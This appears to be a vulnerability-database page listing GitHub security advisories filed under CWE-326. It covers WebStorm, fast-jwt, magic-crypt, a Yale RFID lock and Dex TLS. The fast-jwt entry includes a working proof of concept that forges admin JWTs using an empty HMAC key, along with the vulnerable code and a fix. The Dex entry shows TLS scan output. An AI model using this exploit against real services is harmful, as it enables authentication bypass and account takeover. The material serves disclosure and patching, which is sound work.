Common Weakness Enumeration
CWE-326
Allowed-with-ReviewInadequate Encryption Strength
Abstraction: Class · Status: Draft
The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.
654 vulnerabilities reference this CWE, most recent first.
GHSA-GMR9-5MCV-CCR9
Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2023-08-08 15:31
VLAI
Details
In JetBrains WebStorm before 2021.1, HTTP requests were used instead of HTTPS.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2021-31898"
],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-11T13:15:00Z",
"severity": "HIGH"
},
"details": "In JetBrains WebStorm before 2021.1, HTTP requests were used instead of HTTPS.",
"id": "GHSA-gmr9-5mcv-ccr9",
"modified": "2023-08-08T15:31:17Z",
"published": "2022-05-24T19:02:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31898"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com/blog/2021/05/07/jetbrains-security-bulletin-q1-2021"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GMVF-9V4P-V8JC
Vulnerability from github – Published: 2026-05-06 22:26 – Updated: 2026-05-14 20:42
VLAI
Summary
fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver
Details
Summary
A critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release fast-jwt@6.2.3.
Preconditions
For this issue to occur the following MUST ALL be true:
- The application developer (library consumer) uses an asynchronous callback function to set the key (e.g.
createVerifier({key: async (decoded) => ... })) - The response from the async callback MUST return an empty string
''OR zero-length buffer (e.g.Buffer.alloc(0)). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue - The library configuration must allow HMAC signatures. This is the default for the library.
- The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.
- All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.
Details
src/verifier.js prepareKeyOrSecret (lines 33-39):
function prepareKeyOrSecret(key, isSecret) {
if (typeof key === 'string') {
key = Buffer.from(key, 'utf-8')
}
return isSecret ? createSecretKey(key) : createPublicKey(key) // ← no length check
}
src/verifier.js async key-resolver flow (lines 429-468):
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' → Buffer.alloc(0)
} else if (!(currentKey instanceof Buffer)) {
return callback(... 'string or buffer'...)
}
try {
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch && !X509`
// branch → returns hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // default empty → HMAC family assigned
}
currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])
// → createSecretKey(Buffer.alloc(0)) — Node accepts the empty secret silently
verifyToken(currentKey, decoded, validationContext)
}
})
src/crypto.js verifySignature (lines 286-291):
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', emptyKey) works. The HMAC of ${header}.${payload} is fully attacker-computable. timingSafeEqual returns true. The verifier returns the attacker's payload as authentic.
The bug exists only on the function-typed key resolver path. The synchronous key: '' | undefined | null configuration is correctly rejected at createVerifier setup because if (key && keyType !== 'function') short-circuits on falsy keys, and verify then throws MISSING_KEY when a token with a signature arrives. In contrast, the async-resolver path does allow '' to flow through.
PoC
// package.json: { "type": "module" }
// npm i fast-jwt
import { createVerifier } from 'fast-jwt'
import * as crypto from 'node:crypto'
function b64url(buf) {
return Buffer.from(buf).toString('base64')
.replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_')
}
// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.
const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))
const payload = b64url(JSON.stringify({
sub: 'attacker', admin: true,
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 60
}))
const input = `${header}.${payload}`
const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())
const forgedToken = `${input}.${signature}`
// Realistic JWKS-style verifier - looks up kid in a key map and falls back
// to '' when the kid is unknown (a widely-used JS idiom).
const verifier = createVerifier({
key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')
})
console.log(await verifier(forgedToken))
Output on fast-jwt@6.2.3:
{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }
— the attacker-chosen payload is returned as authentic.
Attack matrix verified against fast-jwt@6.2.3:
| Resolver shape | algorithms option |
HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' |
(default) | ✅ accept | ✅ accept | ✅ accept |
(d, cb) => cb(null, '') |
(default) | ✅ accept | ✅ accept | ✅ accept |
async d => keys[d.header.kid] \|\| '' |
(default) | ✅ accept | ✅ accept | ✅ accept |
async () => '' |
['HS256','HS384','HS512'] |
✅ accept | ✅ accept | ✅ accept |
async () => '' |
['HS256','RS256'] |
✅ accept | INVALID_ALG | INVALID_ALG |
async () => '' |
['RS256'] |
INVALID_KEY | INVALID_KEY | INVALID_KEY |
The bug is only not triggered when the caller has explicitly restricted algorithms to a family incompatible with the empty key's detected hsAlgorithms.
Sense checks (also verified against fast-jwt@6.2.3 to rule out my harness):
- A token signed with the real secret continues to verify correctly. → ACCEPTED.
- A forged-empty-key token sent to a verifier whose resolver returns the real secret is rejected. → INVALID_SIGNATURE.
- The synchronous
key: ''(string) configuration is correctly rejected. → MISSING_KEY.
Impact
Who is impacted: every Node.js application that uses fast-jwt with a function-typed key resolver, the standard JWKS pattern fast-jwt's own README documents, and whose resolver can ever return '' or a zero-length Buffer (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern keys[decoded.header.kid] || '' is widely used in JS code and AI-generated examples.
Concrete attacker capabilities:
- Mint arbitrary JWTs with attacker-chosen
sub,admin,roles,scopes,iss,aud, etc. - Full identity assumption — any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.
- Default-config exploitable — the caller does not need to misconfigure
algorithms. With the default empty array, fast-jwt itself assigns['HS256','HS384','HS512']when it sees an empty key. - Cache amplification — once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.
The trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.
Suggested fix
Reject zero-length HMAC secrets in prepareKeyOrSecret:
function prepareKeyOrSecret(key, isSecret) {
if (typeof key === 'string') {
key = Buffer.from(key, 'utf-8')
}
+
+ if (isSecret && (!key || key.length === 0)) {
+ throw new TokenError(TokenError.codes.invalidKey, 'HMAC secret key must not be empty.')
+ }
+
return isSecret ? createSecretKey(key) : createPublicKey(key)
}
This patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with FAST_JWT_INVALID_KEY, while valid-token verification, valid-secret verification, and the synchronous key: '' rejection path are unaffected.
For defence in depth, the maintainer may also want to enforce RFC 2104's recommended minimum HMAC key length (≥ output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a strictMode flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.
Severity
9.1 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.2.3"
},
"package": {
"ecosystem": "npm",
"name": "fast-jwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44351"
],
"database_specific": {
"cwe_ids": [
"CWE-1391",
"CWE-287",
"CWE-326"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T22:26:37Z",
"nvd_published_at": "2026-05-13T20:16:22Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA critical authentication-bypass vulnerability in `fast-jwt`\u0027s async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application\u0027s key resolver returns an empty string (`\u0027\u0027`), for example via the common `keys[decoded.header.kid] || \u0027\u0027` JWKS-style fallback, fast-jwt converts it to a zero-length `Buffer`, hands it to `crypto.createSecretKey`, derives `allowedAlgorithms = [\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` from it, and then verifies the token\u0027s signature against an empty-key HMAC. The attacker simply computes `HMAC-SHA256(key=\u0027\u0027, input=\u0027${header}.${payload}\u0027)`, which Node accepts without complaint \u2014 and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release `fast-jwt@6.2.3`.\n\n### Preconditions\n\nFor this issue to occur the following MUST ALL be true:\n\n1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. `createVerifier({key: async (decoded) =\u003e ... })`)\n2. The response from the async callback MUST return an empty string `\u0027\u0027` OR zero-length buffer (e.g. `Buffer.alloc(0)`). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue\n3. The library configuration must allow HMAC signatures. This is the default for the library.\n4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.\n5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.\n\n\n### Details\n\n`src/verifier.js` `prepareKeyOrSecret` (lines 33-39):\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n if (typeof key === \u0027string\u0027) {\n key = Buffer.from(key, \u0027utf-8\u0027)\n }\n return isSecret ? createSecretKey(key) : createPublicKey(key) // \u2190 no length check\n}\n```\n\n`src/verifier.js` async key-resolver flow (lines 429-468):\n\n```js\ngetAsyncKey(key, { header, payload, signature }, (err, currentKey) =\u003e {\n ...\n if (typeof currentKey === \u0027string\u0027) {\n currentKey = Buffer.from(currentKey, \u0027utf-8\u0027) // \u0027\u0027 \u2192 Buffer.alloc(0)\n } else if (!(currentKey instanceof Buffer)) {\n return callback(... \u0027string or buffer\u0027...)\n }\n\n try {\n const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)\n // detectPublicKeyAlgorithms(\u0027\u0027) hits the `!publicKeyPemMatch \u0026\u0026 !X509`\n // branch \u2192 returns hsAlgorithms = [\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]\n\n if (validationContext.allowedAlgorithms.length) {\n checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)\n } else {\n validationContext.allowedAlgorithms = availableAlgorithms // default empty \u2192 HMAC family assigned\n }\n\n currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])\n // \u2192 createSecretKey(Buffer.alloc(0)) \u2014 Node accepts the empty secret silently\n verifyToken(currentKey, decoded, validationContext)\n }\n})\n```\n\n`src/crypto.js` `verifySignature` (lines 286-291):\n\n```js\nif (type === \u0027HS\u0027) {\n try {\n return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)\n } catch { return false }\n}\n```\n\n`crypto.createHmac(\u0027sha256\u0027, emptyKey)` works. The HMAC of `${header}.${payload}` is fully attacker-computable. `timingSafeEqual` returns true. The verifier returns the attacker\u0027s payload as authentic.\n\nThe bug exists *only* on the function-typed key resolver path. The synchronous `key: \u0027\u0027 | undefined | null` configuration is correctly rejected at `createVerifier` setup because `if (key \u0026\u0026 keyType !== \u0027function\u0027)` short-circuits on falsy keys, and `verify` then throws `MISSING_KEY` when a token with a signature arrives. In contrast, the async-resolver path **does** allow `\u0027\u0027` to flow through.\n\n### PoC\n\n```js\n// package.json: { \"type\": \"module\" }\n// npm i fast-jwt\nimport { createVerifier } from \u0027fast-jwt\u0027\nimport * as crypto from \u0027node:crypto\u0027\n\nfunction b64url(buf) {\n return Buffer.from(buf).toString(\u0027base64\u0027)\n .replace(/=+$/, \u0027\u0027).replace(/\\+/g, \u0027-\u0027).replace(/\\//g, \u0027_\u0027)\n}\n\n// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.\nconst header = b64url(JSON.stringify({ alg: \u0027HS256\u0027, typ: \u0027JWT\u0027, kid: \u0027unknown-kid\u0027 }))\nconst payload = b64url(JSON.stringify({\n sub: \u0027attacker\u0027, admin: true,\n iat: Math.floor(Date.now() / 1000),\n exp: Math.floor(Date.now() / 1000) + 60\n}))\nconst input = `${header}.${payload}`\nconst signature = b64url(crypto.createHmac(\u0027sha256\u0027, \u0027\u0027).update(input).digest())\nconst forgedToken = `${input}.${signature}`\n\n// Realistic JWKS-style verifier - looks up kid in a key map and falls back\n// to \u0027\u0027 when the kid is unknown (a widely-used JS idiom).\nconst verifier = createVerifier({\n key: async (decoded) =\u003e ({ \u0027real-kid\u0027: \u0027\u003creal key\u003e\u0027 }[decoded.header.kid] || \u0027\u0027)\n})\n\nconsole.log(await verifier(forgedToken))\n```\n\nOutput on `fast-jwt@6.2.3`:\n\n```\n{ sub: \u0027attacker\u0027, admin: true, iat: 1777372426, exp: 1777372486 }\n```\n\n\u2014 the attacker-chosen payload is returned as authentic.\n\nAttack matrix verified against `fast-jwt@6.2.3`:\n\n| Resolver shape | `algorithms` option | HS256 | HS384 | HS512 |\n|---|---|---|---|---|\n| `async () =\u003e \u0027\u0027` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `(d, cb) =\u003e cb(null, \u0027\u0027)` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async d =\u003e keys[d.header.kid] \\|\\| \u0027\u0027` | (default) | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async () =\u003e \u0027\u0027` | `[\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` | \u2705 accept | \u2705 accept | \u2705 accept |\n| `async () =\u003e \u0027\u0027` | `[\u0027HS256\u0027,\u0027RS256\u0027]` | \u2705 accept | INVALID_ALG | INVALID_ALG |\n| `async () =\u003e \u0027\u0027` | `[\u0027RS256\u0027]` | INVALID_KEY | INVALID_KEY | INVALID_KEY |\n\nThe bug is *only* not triggered when the caller has explicitly restricted `algorithms` to a family incompatible with the empty key\u0027s detected `hsAlgorithms`.\n\nSense checks (also verified against `fast-jwt@6.2.3` to rule out my harness):\n\n- A token signed with the *real* secret continues to verify correctly. \u2192 ACCEPTED.\n- A forged-empty-key token sent to a verifier whose resolver returns the *real* secret is rejected. \u2192 INVALID_SIGNATURE.\n- The synchronous `key: \u0027\u0027` (string) configuration is correctly rejected. \u2192 MISSING_KEY.\n\n### Impact\n\nWho is impacted: every Node.js application that uses fast-jwt with a function-typed `key` resolver, the standard JWKS pattern fast-jwt\u0027s own README documents, *and* whose resolver can ever return `\u0027\u0027` or a zero-length `Buffer` (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern `keys[decoded.header.kid] || \u0027\u0027` is widely used in JS code and AI-generated examples.\n\nConcrete attacker capabilities:\n\n1. **Mint arbitrary JWTs** with attacker-chosen `sub`, `admin`, `roles`, `scopes`, `iss`, `aud`, etc.\n2. **Full identity assumption** \u2014 any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.\n3. **Default-config exploitable** \u2014 the caller does not need to misconfigure `algorithms`. With the default empty array, fast-jwt itself assigns `[\u0027HS256\u0027,\u0027HS384\u0027,\u0027HS512\u0027]` when it sees an empty key.\n4. **Cache amplification** \u2014 once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.\n\nThe trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.\n\n### Suggested fix\n\nReject zero-length HMAC secrets in `prepareKeyOrSecret`:\n\n```diff\n function prepareKeyOrSecret(key, isSecret) {\n if (typeof key === \u0027string\u0027) {\n key = Buffer.from(key, \u0027utf-8\u0027)\n }\n+\n+ if (isSecret \u0026\u0026 (!key || key.length === 0)) {\n+ throw new TokenError(TokenError.codes.invalidKey, \u0027HMAC secret key must not be empty.\u0027)\n+ }\n+\n return isSecret ? createSecretKey(key) : createPublicKey(key)\n }\n```\n\nThis patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with `FAST_JWT_INVALID_KEY`, while valid-token verification, valid-secret verification, and the synchronous `key: \u0027\u0027` rejection path are unaffected.\n\nFor defence in depth, the maintainer may also want to enforce RFC 2104\u0027s recommended minimum HMAC key length (\u2265 output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a `strictMode` flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.",
"id": "GHSA-gmvf-9v4p-v8jc",
"modified": "2026-05-14T20:42:20Z",
"published": "2026-05-06T22:26:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44351"
},
{
"type": "PACKAGE",
"url": "https://github.com/nearform/fast-jwt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver"
}
GHSA-GMX7-GR5Q-85W5
Vulnerability from github – Published: 2024-12-30 16:53 – Updated: 2024-12-30 16:53
VLAI
Summary
magic-crypt uses insecure cryptographic algorithms
Details
This crate uses a number of cryptographic algorithms that are no longer considered secure and it uses them in ways that do not guarantee the integrity of the encrypted data.
MagicCrypt64 uses the insecure DES block cipher in CBC mode without authentication. This allows for practical brute force and padding oracle attacks and does not protect the integrity of the encrypted data. Key and IV are generated from user input using CRC64, which is not at all a key derivation function.
MagicCrypt64, MagicCrypt128, MagicCrypt192, and MagicCrypt256 are all vulnerable to padding-oracle attacks. None of them protect the integrity of the ciphertext. Furthermore, none use password-based key derivation functions, even though the key is intended to be generated from a password.
Each of the implementations are unsound in that they use uninitialized memory without MaybeUninit or equivalent structures.
For more information, visit the issue.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "magic-crypt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-30T16:53:24Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "This crate uses a number of cryptographic algorithms that are no longer considered secure and it uses them in ways that do not guarantee the integrity of the encrypted data.\n\n`MagicCrypt64` uses the insecure DES block cipher in CBC mode without authentication. This allows for practical brute force and padding oracle attacks and does not protect the integrity of the encrypted data. Key and IV are generated from user input using CRC64, which is not at all a key derivation function.\n\n`MagicCrypt64`, `MagicCrypt128`, `MagicCrypt192`, and `MagicCrypt256` are all vulnerable to padding-oracle attacks. None of them protect the integrity of the ciphertext. Furthermore, none use password-based key derivation functions, even though the key is intended to be generated from a password.\n\nEach of the implementations are unsound in that they use uninitialized memory without `MaybeUninit` or equivalent structures.\n\nFor more information, visit the [issue](https://github.com/magiclen/rust-magiccrypt/issues/17).\n",
"id": "GHSA-gmx7-gr5q-85w5",
"modified": "2024-12-30T16:53:24Z",
"published": "2024-12-30T16:53:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/magiclen/rust-magiccrypt/issues/17"
},
{
"type": "PACKAGE",
"url": "https://github.com/magiclen/rust-magiccrypt"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2024-0430.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "magic-crypt uses insecure cryptographic algorithms"
}
GHSA-GR22-5899-MX5C
Vulnerability from github – Published: 2023-12-05 00:31 – Updated: 2023-12-08 18:30
VLAI
Details
Weak encryption mechanisms in RFID Tags in Yale Keyless Lock v1.0 allows attackers to create a cloned tag via physical proximity to the original.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-26943"
],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-05T00:15:08Z",
"severity": "MODERATE"
},
"details": "Weak encryption mechanisms in RFID Tags in Yale Keyless Lock v1.0 allows attackers to create a cloned tag via physical proximity to the original.",
"id": "GHSA-gr22-5899-mx5c",
"modified": "2023-12-08T18:30:41Z",
"published": "2023-12-05T00:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26943"
},
{
"type": "WEB",
"url": "https://arxiv.org/abs/2312.00021"
},
{
"type": "WEB",
"url": "https://www.researchgate.net/publication/375759408_Technical_Report_-_CVE-2022-46480_CVE-2023-26941_CVE-2023-26942_and_CVE-2023-26943#fullTextFileContent"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GR79-9V6V-GC9R
Vulnerability from github – Published: 2024-01-26 01:57 – Updated: 2025-05-27 15:45
VLAI
Summary
Dex discarding TLSconfig and always serves deprecated TLS 1.0/1.1 and insecure ciphers
Details
Summary
Dex 2.37.0 is serving HTTPS with insecure TLS 1.0 and TLS 1.1.
Details
While working on https://github.com/dexidp/dex/issues/2848 and implementing configurable TLS support, I noticed my changes did not have any effect in TLS config, so I started investigating.
https://github.com/dexidp/dex/blob/70d7a2c7c1bb2646b1a540e49616cbc39622fb83/cmd/dex/serve.go#L425 is seemingly setting TLS 1.2 as minimum version, but the whole tlsConfig is ignored after "TLS cert reloader" was introduced in https://github.com/dexidp/dex/pull/2964. Configured cipher suites are not respected either, as seen on the output.
PoC
Build Dex, generate certs with gencert.sh, modify config.dev.yaml to run on https, using generated certs.
issuer: http://127.0.0.1:5556/dex
storage:
type: sqlite3
config:
file: dex.db
web:
https: 127.0.0.1:5556
tlsCert: examples/k8s/ssl/cert.pem
tlsKey: examples/k8s/ssl/key.pem
<rest as default>
Run dex bin/dex serve config.dev.yaml.
Install sslyze, easy to use SSL connection analyzer:
pip3 install sslyze
sslyze 127.0.0.1:5556
In Dex 2.37.0, TLS 1.0 and TLS 1.1 are enabled in addition to expected TLS 1.2 and TLS 1.3.
* TLS 1.0 Cipher Suites:
Attempted to connect using 80 cipher suites.
The server accepted the following 6 cipher suites:
TLS_RSA_WITH_AES_256_CBC_SHA 256
TLS_RSA_WITH_AES_128_CBC_SHA 128
TLS_RSA_WITH_3DES_EDE_CBC_SHA 168
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 168 ECDH: prime256v1 (256 bits)
The group of cipher suites supported by the server has the following properties:
Forward Secrecy OK - Supported
Legacy RC4 Algorithm OK - Not Supported
* TLS 1.1 Cipher Suites:
Attempted to connect using 80 cipher suites.
The server accepted the following 6 cipher suites:
TLS_RSA_WITH_AES_256_CBC_SHA 256
TLS_RSA_WITH_AES_128_CBC_SHA 128
TLS_RSA_WITH_3DES_EDE_CBC_SHA 168
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 168 ECDH: prime256v1 (256 bits)
The group of cipher suites supported by the server has the following properties:
Forward Secrecy OK - Supported
Legacy RC4 Algorithm OK - Not Supported
* TLS 1.2 Cipher Suites:
Attempted to connect using 156 cipher suites.
The server accepted the following 11 cipher suites:
TLS_RSA_WITH_AES_256_GCM_SHA384 256
TLS_RSA_WITH_AES_256_CBC_SHA 256
TLS_RSA_WITH_AES_128_GCM_SHA256 128
TLS_RSA_WITH_AES_128_CBC_SHA 128
TLS_RSA_WITH_3DES_EDE_CBC_SHA 168
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 256 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 128 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA 168 ECDH: prime256v1 (256 bits)
The group of cipher suites supported by the server has the following properties:
Forward Secrecy OK - Supported
Legacy RC4 Algorithm OK - Not Supported
* TLS 1.3 Cipher Suites:
Attempted to connect using 5 cipher suites.
The server accepted the following 3 cipher suites:
TLS_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)
TLS_AES_256_GCM_SHA384 256 ECDH: X25519 (253 bits)
TLS_AES_128_GCM_SHA256 128 ECDH: X25519 (253 bits)
In Dex 2.36.0, TLS 1.0 and TLS 1.1 are disabled as expected.
* TLS 1.0 Cipher Suites:
Attempted to connect using 80 cipher suites; the server rejected all cipher suites.
* TLS 1.1 Cipher Suites:
Attempted to connect using 80 cipher suites; the server rejected all cipher suites.
* TLS 1.2 Cipher Suites:
Attempted to connect using 156 cipher suites.
The server accepted the following 5 cipher suites:
TLS_RSA_WITH_AES_256_GCM_SHA384 256
TLS_RSA_WITH_AES_128_GCM_SHA256 128
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 256 ECDH: prime256v1 (256 bits)
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 128 ECDH: prime256v1 (256 bits)
The group of cipher suites supported by the server has the following properties:
Forward Secrecy OK - Supported
Legacy RC4 Algorithm OK - Not Supported
* TLS 1.3 Cipher Suites:
Attempted to connect using 5 cipher suites.
The server accepted the following 3 cipher suites:
TLS_CHACHA20_POLY1305_SHA256 256 ECDH: X25519 (253 bits)
TLS_AES_256_GCM_SHA384 256 ECDH: X25519 (253 bits)
Impact
TLS 1.0 and TLS 1.1 connections can be decrypted by the attacker, and hence decrypt the traffic to Dex.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/dexidp/dex"
},
"ranges": [
{
"events": [
{
"introduced": "2.37.0"
},
{
"fixed": "2.38.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.37.0"
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/dexidp/dex"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20240125115555-5bbdb4420254"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-23656"
],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-26T01:57:31Z",
"nvd_published_at": "2024-01-25T20:15:41Z",
"severity": "HIGH"
},
"details": "### Summary\n\nDex 2.37.0 is serving HTTPS with insecure TLS 1.0 and TLS 1.1.\n\n\n### Details\nWhile working on https://github.com/dexidp/dex/issues/2848 and implementing configurable TLS support, I noticed my changes did not have any effect in TLS config, so I started investigating. \n\nhttps://github.com/dexidp/dex/blob/70d7a2c7c1bb2646b1a540e49616cbc39622fb83/cmd/dex/serve.go#L425 is seemingly setting TLS 1.2 as minimum version, but the whole tlsConfig is ignored after \"TLS cert reloader\" was introduced in https://github.com/dexidp/dex/pull/2964. Configured cipher suites are not respected either, as seen on the output.\n\n### PoC\nBuild Dex, generate certs with `gencert.sh`, modify `config.dev.yaml` to run on https, using generated certs.\n\n```console\nissuer: http://127.0.0.1:5556/dex\n\nstorage:\n type: sqlite3\n config:\n file: dex.db\n\nweb:\n https: 127.0.0.1:5556\n tlsCert: examples/k8s/ssl/cert.pem\n tlsKey: examples/k8s/ssl/key.pem\n\n\u003crest as default\u003e\n```\n\nRun dex `bin/dex serve config.dev.yaml`.\n\nInstall `sslyze`, easy to use SSL connection analyzer:\n\n```console\npip3 install sslyze\nsslyze 127.0.0.1:5556\n```\n\nIn Dex 2.37.0, TLS 1.0 and TLS 1.1 are enabled in addition to expected TLS 1.2 and TLS 1.3.\n```console\n * TLS 1.0 Cipher Suites:\n Attempted to connect using 80 cipher suites.\n\n The server accepted the following 6 cipher suites:\n TLS_RSA_WITH_AES_256_CBC_SHA 256 \n TLS_RSA_WITH_AES_128_CBC_SHA 128 \n 